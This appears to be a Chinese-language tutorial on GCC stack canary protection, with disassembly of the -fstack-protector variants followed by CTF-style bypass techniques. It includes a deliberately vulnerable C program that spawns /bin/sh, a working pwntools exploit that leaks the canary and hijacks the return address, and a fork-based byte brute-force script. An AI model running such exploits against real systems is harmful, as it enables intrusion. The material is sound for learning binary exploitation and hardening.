前言
Cancary 是一种安全加固保护机制,通过对程序栈底插入一段随机的字节串,来校验当前程序是否被栈溢出
cancary
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| // main.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
return EXIT_SUCCESS;
}
void canary_strong()
{
typedef struct MyStruct {
char buf[0x4];
}MyStruct;
MyStruct myStruct;
}
void canary()
{
char buf[0x8];
}
|
编译参数:
| 参数 | 作用 | 推荐场景 |
|---|
-fno-stack-protector | 关闭所有 canary 保护,不插入栈溢出检测 | 调试、CTF、性能极致等特殊场景 |
-fstack-protector | 只保护含有缓冲区(如数组、结构体)的函数,插入 canary 检查(最基本的保护) | 兼顾性能和基本安全 |
-fstack-protector-strong | 保护更多类型的函数(如含有数组、结构体、指针等) | 推荐日常开发和生产环境 |
-fstack-protector-all | 对所有函数都加入 canary 检查,安全性最高,但性能开销最大 | 极高安全需求的场景 |
-fstack-protector 会对含有缓冲区的函数(如数组、结构体)插入 canary 检查,防止栈溢出攻击。如果数组小于 0x8, 是不会被保护的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| 000000000000114b <canary_strong>:
114b: 55 push rbp
114c: 48 89 e5 mov rbp,rsp
114f: 90 nop
1150: 5d pop rbp
1151: c3 ret
0000000000001152 <canary>:
1152: 55 push rbp
1153: 48 89 e5 mov rbp,rsp
1156: 48 83 ec 10 sub rsp,0x10
115a: 64 48 8b 04 25 28 00 00 00 mov rax,QWORD PTR fs:0x28
1163: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
1167: 31 c0 xor eax,eax
1169: 90 nop
116a: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
116e: 64 48 2b 04 25 28 00 00 00 sub rax,QWORD PTR fs:0x28
1177: 74 05 je 117e <canary+0x2c>
1179: e8 b2 fe ff ff call 1030 <__stack_chk_fail@plt>
117e: c9 leave
117f: c3 ret
|
若修改 canary 函数的 buf 大小为 0x4
1
2
3
4
5
6
7
8
9
10
11
12
13
| 000000000000112b <canary_strong>:
112b: 55 push rbp
112c: 48 89 e5 mov rbp,rsp
112f: 90 nop
1130: 5d pop rbp
1131: c3 ret
0000000000001132 <canary>:
1132: 55 push rbp
1133: 48 89 e5 mov rbp,rsp
1136: 90 nop
1137: 5d pop rbp
1138: c3 ret
|
-fstack-protector-strong 则会保护更多类型的函数,包括含有指针、结构体等的函数,提供更全面的保护。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| 000000000000114b <canary_strong>:
114b: 55 push rbp
114c: 48 89 e5 mov rbp,rsp
114f: 48 83 ec 10 sub rsp,0x10
1153: 64 48 8b 04 25 28 00 00 00 mov rax,QWORD PTR fs:0x28
115c: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
1160: 31 c0 xor eax,eax
1162: 90 nop
1163: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
1167: 64 48 2b 04 25 28 00 00 00 sub rax,QWORD PTR fs:0x28
1170: 74 05 je 1177 <canary_strong+0x2c>
1172: e8 b9 fe ff ff call 1030 <__stack_chk_fail@plt>
1177: c9 leave
1178: c3 ret
0000000000001179 <canary>:
1179: 55 push rbp
117a: 48 89 e5 mov rbp,rsp
117d: 48 83 ec 10 sub rsp,0x10
1181: 64 48 8b 04 25 28 00 00 00 mov rax,QWORD PTR fs:0x28
118a: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
118e: 31 c0 xor eax,eax
1190: 90 nop
1191: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
1195: 64 48 2b 04 25 28 00 00 00 sub rax,QWORD PTR fs:0x28
119e: 74 05 je 11a5 <canary+0x2c>
11a0: e8 8b fe ff ff call 1030 <__stack_chk_fail@plt>
11a5: c9 leave
11a6: c3 ret
|
linux News
As Kees Cook pointed out in a recent
blog post
, the Google Chrome OS team had been using -fstack-protector-all since the team is “paranoid”, but a new
-fstack-protector-strong option
has been developed to broaden the scope of the stack protection without extending it to every function in the program.
-fstack-protector-all 会对所有函数都加入 canary 检查,安全性最高,但性能开销也最大。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| 0000000000001139 <main>:
1139: 55 push rbp
113a: 48 89 e5 mov rbp,rsp
113d: 48 83 ec 20 sub rsp,0x20
1141: 89 7d ec mov DWORD PTR [rbp-0x14],edi
1144: 48 89 75 e0 mov QWORD PTR [rbp-0x20],rsi
1148: 64 48 8b 04 25 28 00 00 00 mov rax,QWORD PTR fs:0x28
1151: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
1155: 31 c0 xor eax,eax
1157: b8 00 00 00 00 mov eax,0x0
115c: 48 8b 55 f8 mov rdx,QWORD PTR [rbp-0x8]
1160: 64 48 2b 14 25 28 00 00 00 sub rdx,QWORD PTR fs:0x28
1169: 74 05 je 1170 <main+0x37>
116b: e8 c0 fe ff ff call 1030 <__stack_chk_fail@plt>
1170: c9 leave
1171: c3 ret
|
让我们看看 cancary 的相关代码
1
2
3
4
5
6
7
| 1148: 64 48 8b 04 25 28 00 00 00 mov rax,QWORD PTR fs:0x28
1151: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
115c: 48 8b 55 f8 mov rdx,QWORD PTR [rbp-0x8]
1160: 64 48 2b 14 25 28 00 00 00 sub rdx,QWORD PTR fs:0x28
1169: 74 05 je 1170 <main+0x37>
116b: e8 c0 fe ff ff call 1030 <__stack_chk_fail@plt>
|
首先会从 fs (Thread Local Storage) 中读取一个值到 rax 中,这个值就是 canary 的值,然后将其存储到栈中 rbp-0x8 的位置。接着在函数结束时,会再次从栈中读取这个值,并与 fs 中的值进行比较,如果不相等,则调用 __stack_chk_fail 函数,通常会导致程序异常终止。
绕过 cancary
泄露 cancary 值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| // ex2.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}
|
1
| gcc -m32 -no-pie cacary.c -o cacary
|
1
2
3
4
5
6
7
8
| var_C= dword ptr -0Ch
mov eax, large gs:14h
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
sub eax, large gs:14h
jz short loc_8049292
|
可以看到这个 32 位程序将 cancary 值存储在 ebp-0xc 的位置,并在函数结束时与 fs 中的值进行比较。
1
2
3
4
5
6
7
8
9
| pwndbg> tele $ebp-0xc
00:0000│-00c 0xffffd13c ◂— 0xbcf63800
01:0004│-008 0xffffd140 —▸ 0x804a010 ◂— 'Hello Hacker!'
02:0008│-004 0xffffd144 —▸ 0x804bff4 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bef0 (_DYNAMIC) ◂— 1
03:000c│ ebp 0xffffd148 —▸ 0xffffd158 —▸ 0xf7ffcb60 (_rtld_global_ro) ◂— 0
04:0010│+004 0xffffd14c —▸ 0x80492cd (main+54) ◂— mov eax, 0
05:0014│+008 0xffffd150 —▸ 0xffffd170 ◂— 1
06:0018│+00c 0xffffd154 —▸ 0xf7f68e0c ◂— 0x22bd2c
07:001c│+010 0xffffd158 —▸ 0xf7ffcb60 (_rtld_global_ro) ◂— 0
|
canary 的值为 0xbcf63800,我们可以通过泄露这个值来绕过 cancary 的保护。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| pwndbg> tele $ebp-0xc
00:0000│-00c 0xff988d1c ◂— 0x5ac26862
01:0004│-008 0xff988d20 —▸ 0x804a010 ◂— 'Hello Hacker!'
02:0008│-004 0xff988d24 —▸ 0x804bff4 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bef0 (_DYNAMIC) ◂— 1
03:000c│ ebp 0xff988d28 —▸ 0xff988d38 —▸ 0xf7f0eb60 (_rtld_global_ro) ◂— 0
04:0010│+004 0xff988d2c —▸ 0x80492cd (main+54) ◂— mov eax, 0
05:0014│+008 0xff988d30 —▸ 0xff988d50 ◂— 1
06:0018│+00c 0xff988d34 —▸ 0xf7e7ae0c ◂— 0x22bd2c
07:001c│+010 0xff988d38 —▸ 0xf7f0eb60 (_rtld_global_ro) ◂— 0
pwndbg> tele $ebp-0x10
00:0000│-010 0xff988d18 ◂— 0x62626262 ('bbbb')
01:0004│-00c 0xff988d1c ◂— 0x5ac26862
02:0008│-008 0xff988d20 —▸ 0x804a010 ◂— 'Hello Hacker!'
03:000c│-004 0xff988d24 —▸ 0x804bff4 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bef0 (_DYNAMIC) ◂— 1
04:0010│ ebp 0xff988d28 —▸ 0xff988d38 —▸ 0xf7f0eb60 (_rtld_global_ro) ◂— 0
05:0014│+004 0xff988d2c —▸ 0x80492cd (main+54) ◂— mov eax, 0
06:0018│+008 0xff988d30 —▸ 0xff988d50 ◂— 1
07:001c│+00c 0xff988d34 —▸ 0xf7e7ae0c ◂— 0x22bd2c
|
值得注意,cancary 值的最后一位字节是 0x00, 在泄露时需要填充其他字符
这里 offset 的确定有点问题
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
| pwndbg> r
Starting program: /home/lhon901/Code/cpp/cancary
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Hello Hacker!
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaaf����������������7���P���[���k���������������z�����������������������/���T���u������������������#���8���P���h���}����������������0���C���r���������������daafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj
aaexaaeyaaezaafbaafcaaf����������������7���P���[���k���������������z�����������������������/���T���u������������������#���8���P���h���}����������������0���C���r���������������*** stack smashing detected ***: terminated
Program received signal SIGABRT, Aborted.
0xf7fc5579 in __kernel_vsyscall ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────
EAX 0
EBX 0x6a72
ECX 0x6a72
EDX 6
EDI 0
ESI 0x6a72
EBP 0
ESP 0xffffcec0 ◂— 0
EIP 0xf7fc5579 (__kernel_vsyscall+9) ◂— pop ebp
──────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────
► 0xf7fc5579 <__kernel_vsyscall+9> pop ebp EBP => 0
0xf7fc557a <__kernel_vsyscall+10> pop edx EDX => 6
0xf7fc557b <__kernel_vsyscall+11> pop ecx ECX => 0x6a72
0xf7fc557c <__kernel_vsyscall+12> ret <0xf7dd1a3f>
↓
0xf7dd1a3f mov edx, eax EDX => 0
0xf7dd1a41 neg edx
0xf7dd1a43 cmp eax, 0xfffff000 0x0 - 0xfffff000 EFLAGS => 0x207 [ CF PF af zf sf IF df of ]
0xf7dd1a48 mov eax, ebp EAX => 0
0xf7dd1a4a cmova eax, edx
0xf7dd1a4d jmp 0xf7dd19c4 <0xf7dd19c4>
↓
0xf7dd19c4 mov edx, dword ptr [esp + 0x1c] EDX, [0xffffceec] => 0xb93b7a00
──────────────────────────────────────[ STACK ]───────────────────────────────────────
00:0000│ esp 0xffffcec0 ◂— 0
01:0004│ 0xffffcec4 ◂— 6
02:0008│ 0xffffcec8 ◂— 0x6a72 /* 'rj' */
03:000c│ 0xffffcecc —▸ 0xf7dd1a3f ◂— mov edx, eax
04:0010│ 0xffffced0 —▸ 0xf7f69d40 (_IO_2_1_stdout_) ◂— 0xfbad2887
05:0014│ 0xffffced4 ◂— 0
06:0018│ 0xffffced8 ◂— 0x1c
07:001c│ 0xffffcedc ◂— 6
────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────
► 0 0xf7fc5579 __kernel_vsyscall+9
1 0xf7dd1a3f None
2 0xf7d76377 raise+39
3 0xf7d5d1fa abort+56
4 0xf7d5e3a4 None
5 0xf7e77d03 None
6 0xf7e78b4f None
7 0x80492f9 None
──────────────────────────────────────────────────────────────────────────────────────
pwndbg>
|
通过 BACKTRACE 可以看到我们步进了 __stack_chk_fail 函数,无法查看 vuln 函数的栈信息。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
| pwndbg> bt
#0 0xf7fc5579 in __kernel_vsyscall ()
#1 0xf7dd1a3f in ?? () from /usr/lib32/libc.so.6
#2 0xf7d76377 in raise () from /usr/lib32/libc.so.6
#3 0xf7d5d1fa in abort () from /usr/lib32/libc.so.6
#4 0xf7d5e3a4 in ?? () from /usr/lib32/libc.so.6
#5 0xf7e77d03 in __fortify_fail () from /usr/lib32/libc.so.6
#6 0xf7e78b4f in __stack_chk_fail () from /usr/lib32/libc.so.6
#7 0x080492f9 in __stack_chk_fail_local ()
#8 0x08049292 in vuln ()
#9 0x67616168 in ?? ()
#10 0x67616169 in ?? ()
#11 0x6761616a in ?? ()
#12 0x6761616b in ?? ()
#13 0x6761616c in ?? ()
#14 0x6761616d in ?? ()
#15 0x6761616e in ?? ()
#16 0x6761616f in ?? ()
#17 0x67616170 in ?? ()
#18 0x67616171 in ?? ()
#19 0x67616172 in ?? ()
#20 0x67616173 in ?? ()
#21 0x67616174 in ?? ()
#22 0x67616175 in ?? ()
#23 0x67616176 in ?? ()
#24 0x67616177 in ?? ()
#25 0x67616178 in ?? ()
#26 0x67616179 in ?? ()
#27 0x6861617a in ?? ()
#28 0x68616162 in ?? ()
#29 0x68616163 in ?? ()
#30 0x68616164 in ?? ()
#31 0x68616165 in ?? ()
#32 0x68616166 in ?? ()
#33 0x68616167 in ?? ()
#34 0x68616168 in ?? ()
#35 0x68616169 in ?? ()
#36 0x6861616a in ?? ()
#37 0x6861616b in ?? ()
#38 0x6861616c in ?? ()
#39 0x6861616d in ?? ()
#40 0x6861616e in ?? ()
#41 0x6861616f in ?? ()
#42 0x68616170 in ?? ()
#43 0x68616171 in ?? ()
#44 0x68616172 in ?? ()
#45 0x68616173 in ?? ()
#46 0x68616174 in ?? ()
#47 0x68616175 in ?? ()
#48 0x68616176 in ?? ()
#49 0x68616177 in ?? ()
#50 0x68616178 in ?? ()
#51 0x68616179 in ?? ()
#52 0x6961617a in ?? ()
#53 0x69616162 in ?? ()
#54 0x69616163 in ?? ()
#55 0x69616164 in ?? ()
#56 0x69616165 in ?? ()
#57 0x69616166 in ?? ()
#58 0x69616167 in ?? ()
#59 0x69616168 in ?? ()
#60 0x69616169 in ?? ()
#61 0x6961616a in ?? ()
#62 0x6961616b in ?? ()
#63 0x6961616c in ?? ()
#64 0x6961616d in ?? ()
#65 0x6961616e in ?? ()
#66 0x6961616f in ?? ()
#67 0x69616170 in ?? ()
#68 0x69616171 in ?? ()
#69 0x69616172 in ?? ()
#70 0x69616173 in ?? ()
#71 0x69616174 in ?? ()
#72 0x69616175 in ?? ()
#73 0x69616176 in ?? ()
#74 0x69616177 in ?? ()
#75 0x69616178 in ?? ()
#76 0x69616179 in ?? ()
#77 0x6a61617a in ?? ()
#78 0x6a616162 in ?? ()
#79 0x6a616163 in ?? ()
#80 0x6a616164 in ?? ()
#81 0x6a616165 in ?? ()
#82 0x6a616166 in ?? ()
#83 0x6a616167 in ?? ()
#84 0x6a616168 in ?? ()
#85 0x6a616169 in ?? ()
#86 0x6a61616a in ?? ()
#87 0x6a61616b in ?? ()
#88 0x6a61616c in ?? ()
#89 0x6a61616d in ?? ()
#90 0x6a61616e in ?? ()
#91 0x6a61616f in ?? ()
#92 0x6a616170 in ?? ()
#93 0x6a616171 in ?? ()
#94 0x6a616172 in ?? ()
#95 0x6a616173 in ?? ()
#96 0x6a616174 in ?? ()
#97 0x6a616175 in ?? ()
#98 0x6a616176 in ?? ()
#99 0x6a616177 in ?? ()
#100 0x6a616178 in ?? ()
#101 0x6a616179 in ?? ()
#102 0x6561610a in ?? ()
#103 0x65616178 in ?? ()
#104 0x65616179 in ?? ()
#105 0x6661617a in ?? ()
#106 0x66616162 in ?? ()
#107 0x66616163 in ?? ()
#108 0xffffdabd in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
pwndbg> up 8
0 0xf7dd1a3f None
1 0xf7d76377 raise+39
2 0xf7d5d1fa abort+56
3 0xf7d5e3a4 None
4 0xf7e77d03 None
5 0xf7e78b4f None
6 0x80492f9 None
► 7 0x8049292 vuln+103
8 0x67616168 None
9 0x67616169 None
10 0x6761616a None
11 0x6761616b None
12 0x6761616c None
13 0x6761616d None
14 0x6761616e None
pwndbg> tele $esp
00:0000│ esp 0xffffd0d0 ◂— 1
01:0004│-074 0xffffd0d4 ◂— 2
02:0008│-070 0xffffd0d8 ◂— 0x66616164 ('daaf')
03:000c│-06c 0xffffd0dc ◂— 0x66616165 ('eaaf')
04:0010│-068 0xffffd0e0 ◂— 0x66616166 ('faaf')
05:0014│-064 0xffffd0e4 ◂— 0x66616167 ('gaaf')
06:0018│-060 0xffffd0e8 ◂— 0x66616168 ('haaf')
07:001c│-05c 0xffffd0ec ◂— 0x66616169 ('iaaf')
pwndbg> tele $ebp
00:0000│ ebp 0xffffd148 ◂— 0x67616167 ('gaag')
01:0004│+004 0xffffd14c ◂— 0x67616168 ('haag')
02:0008│+008 0xffffd150 ◂— 0x67616169 ('iaag')
03:000c│+00c 0xffffd154 ◂— 0x6761616a ('jaag')
04:0010│+010 0xffffd158 ◂— 0x6761616b ('kaag')
05:0014│+014 0xffffd15c ◂— 0x6761616c ('laag')
06:0018│+018 0xffffd160 ◂— 0x6761616d ('maag')
07:001c│+01c 0xffffd164 ◂— 0x6761616e ('naag')
|
这样可以明显的看到我们的输入距离栈底 ebp 的 offset 是 0x70
payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| from pwn import *
p = process("./cancary")
context.terminal = ["kitty", "@", "launch", "--type=window"]
payload = b"a" * (0x70 - 0xC - 0x4) + b"bbbbb"
# gdb.attach(p)
# pause()
p.send(payload)
p.recvuntil(b"bbbbb")
cancary = u32(p.recv(3).rjust(4, b"\x00"))
success("cancary: " + hex(cancary))
getshell = 0x080491A6
payload = b"a" * (0x70 - 0xC) + p32(cancary)
payload = payload.ljust(0x70 + 0x4, b"\x00") + p32(getshell)
# gdb.attach(p)
# pause()
p.send(payload)
p.interactive()
|
fork 爆破 cancary
对于 Canary,虽然每次进程重启后的 Canary 不同 (相比 GS,GS 重启后是相同的),但是同一个进程中的不同线程的 Canary 是相同的, 并且 通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。我们可以利用这样的特点,彻底逐个字节将 Canary 爆破出来。 在著名的 offset2libc 绕过 linux64bit 的所有保护的文章中,作者就是利用这样的方式爆破得到的 Canary: 这是爆破的 Python 代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| print "[+] Brute forcing stack canary "
start = len(p)
stop = len(p)+8
while len(p) < stop:
for i in xrange(0,256):
res = send2server(p + chr(i))
if res != "":
p = p + chr(i)
#print "\t[+] Byte found 0x%02x" % i
break
if i == 255:
print "[-] Exploit failed"
sys.exit(-1)
canary = p[stop:start-1:-1].encode("hex")
print " [+] SSP value is 0x%s" % canary
|
劫持 __stack_chk_fail 函数
已知 Canary 失败的处理逻辑会进入到 **stack_chk_failed 函数,**stack_chk_failed 函数是一个普通的延迟绑定函数,可以通过修改 GOT 表劫持这个函数。
覆盖 TLS 中储存的 Canary 值
已知 Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。